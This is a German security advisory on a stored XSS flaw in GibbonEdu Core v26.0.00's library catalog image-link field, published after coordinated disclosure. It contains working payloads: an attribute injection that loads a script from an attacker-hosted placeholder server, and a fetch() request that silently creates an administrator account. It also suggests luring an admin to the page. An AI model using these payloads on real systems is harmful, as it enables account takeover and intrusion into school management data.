CVE-2024-34831 XSS-Schwachstelle in GibbonEdu Core v26.0.00 führt zu Privilegienerweiterung

Gibbon ist ein großartiges Open-Source-Schulverwaltungssystem mit vollem Funktionsumfang. Es wird viel Arbeit in die Überarbeitung der recht alten Codebasis investiert.

Autor: Christian Bajada

1. Schwachstelle

Der Parameter imageLink ist beim Bearbeiten/Übermitteln neuer Bücher (/modules/Library/library_manage_catalog_editProcess.php) anfällig für XSS. Benutzer mit der Berechtigung „Katalog verwalten“ können diese Schwachstelle ausnutzen, wodurch beliebige Skripte für Benutzer mit höheren Berechtigungen ausgeführt werden und eine Privilegienerweiterung ermöglicht wird.

2. PoC – Einfaches Szenario

1. Navigieren Sie zu Lernen > Bibliothek > Katalog verwalten
2. Bearbeiten Sie einen der Bucheinträge.
3. Das Feld Bildlink wird nicht ordnungsgemäß bereinigt und erlaubt uns, beliebiges JavaScript auszuführen. Ändern Sie den Bildlink zu [http://x](http://x/)" onerror='alert(1)' und der Alert-Code wird beim Laden der Bibliotheksseite beim Seitenaufruf ausgeführt:

3. PoC für Privilegienerweiterung

Dieser Abschnitt erklärt, wie diese Schwachstelle für etwas Gefährlicheres als einen einfachen Alert(1)-Popup genutzt werden kann. Wir werden einen angemeldeten Administrator dazu bringen, nahtlos einen weiteren Administrator zu erstellen, auf den der Angreifer zugreifen kann.

Das imageLink-Feld ist zu klein, um sinnvolle Funktionen auf der Gibbon-Plattform aufzurufen. Wir können das JavaScript einfach an anderer Stelle hosten und es vom Browser herunterladen und ausführen lassen. Das Fehlen von CSP macht dies möglich.

1. Der böswillige Benutzer erstellt den Payload zum Anlegen eines Administrator-Benutzers wie folgt und platziert ihn an einem öffentlich zugänglichen Ort, z. B. https://<yourserver.com>/payload.js. Der folgende Code erstellt, wenn er von einem Administrator ausgeführt wird, einen administrativen Benutzer namens hexthecat. Der Code ruft die Funktion im Gibbon Core auf, um einen neuen Benutzer mit allen erforderlichen Parametern anzulegen.

fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });

2. Der böswillige Benutzer mit „Katalog verwalten“-Berechtigung gibt den folgenden imageLink für ein Buch ein (unter Beibehaltung des Originals und Hinzufügen des Skript-Ladeteils):

http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"

3. Der Administrator durchsucht die Bibliothek.

Sie müssen entweder warten, bis der Administrator zum Bibliothekskatalog navigiert, oder ihn per IM, E-Mail oder über einen anderen Kanal dazu überreden.

Das Bewegen der Maus (onmouseover) über das Bild des Buches führt dazu, dass der Payload von dem Ort (in diesem Fall <yourserver.com>) abgerufen und ausgeführt wird. Dadurch wird ein Administrator-Benutzer erstellt, auf den der böswillige Benutzer nun zugreifen kann. Der 'onerror'-Listener kann ebenfalls verwendet werden, um den Payload sofort auszuführen, anstatt über das Bild fahren zu müssen.

Sie können den erstellten Benutzer im Menü ADMIN > Benutzerverwaltung überprüfen

4. Verantwortungsvolle Offenlegung

Veröffentlicht gemäß den Richtlinien zur verantwortungsvollen Offenlegung https://github.com/GibbonEdu/core/security.

• 6. Mai 2024: Schwachstelle gemeldet und vom GibbonEdu-Maintainer bestätigt.
• 15. Mai 2024: CVE-Nummer von MITRE zugewiesen.
• 10. September 2024: Advisory veröffentlicht.